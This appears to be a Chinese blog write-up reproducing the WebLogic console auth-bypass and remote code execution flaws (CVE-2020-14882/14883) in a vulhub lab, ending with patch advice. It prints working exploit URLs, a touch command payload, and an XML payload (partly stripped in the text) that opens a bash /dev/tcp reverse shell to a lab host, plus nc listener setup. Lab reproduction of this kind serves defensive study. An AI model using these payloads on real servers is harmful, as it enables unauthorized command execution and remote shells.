Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)漏洞复现

Weblogic是Oracle公司推出的J2EE应用服务器。在2020年10月的更新中,Oracle官方修复了两个长亭科技安全研究员@voidfyoo 提交的安全漏洞,分别是CVE-2020-14882和CVE-2020-14883。

CVE-2020-14882允许未授权的用户绕过管理控制台的权限验证访问后台,CVE-2020-14883允许后台任意用户通过HTTP协议执行任意命令。使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令。

漏洞环境

老样子vulhub环境 

启动一个Weblogic 12.2.1.3版本的服务器

    docker-compose up -d

启动完成后,访问http://你的ip:7001/console即可查看到后台登录页面。

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)漏洞复现_第1张图片

漏洞复现

首先测试权限绕过漏洞(CVE-2020-14882)

poc:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)漏洞复现_第2张图片

可以看到成功进入到后台管理界面

成功进入后台,在部署概要 点击部署发现404

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)漏洞复现_第3张图片

 Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)漏洞复现_第4张图片

 此时需要利用到第二个漏洞CVE-2020-14883。这个漏洞的利用方式有两种,一是通过com.tangosol.coherence.mvel2.sh.ShellSession,二是通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext

直接访问如下URL,即可利用com.tangosol.coherence.mvel2.sh.ShellSession执行命令:

poc:

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

 返回404 

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)漏洞复现_第5张图片

去容器里面看一下 可以看到touch /tmp/success1已成功执行

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)漏洞复现_第6张图片

但是这里命令执行没有回显 所有我们用第二种方法

2:

首先,我们需要构造一个XML文件,并将其保存在Weblogic可以访问到的服务器上 如http://172.16.101.1/3456.xml



    
        
          
            bash
            -c
            & /dev/tcp/172.16.10.1/3456 0>&1]]>
          
        
    

在构造xml的主机上面用python起一个简易的http然后开启nc监听

nc -lvvnp 3456
python -m http.server 8080

 然后通过如下URL,即可让Weblogic加载这个XML,并执行其中的命令

http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://172.16.10.1:8080/3456.xml")

 访问之后我们可以看到

Weblogic 管理控制台未授权远程命令执行漏洞(CVE-2020-14882,CVE-2020-14883)漏洞复现_第7张图片

复现结束

漏洞修复建议

1、及时下载官方补丁进行升级修复。下载地址如下:https://www.oracle.com/security-alerts/cpuoct2020.html
2、关闭后台/console/console.portal的访问权限。
3、修改后台默认地址。

你可能感兴趣的:(安全,python)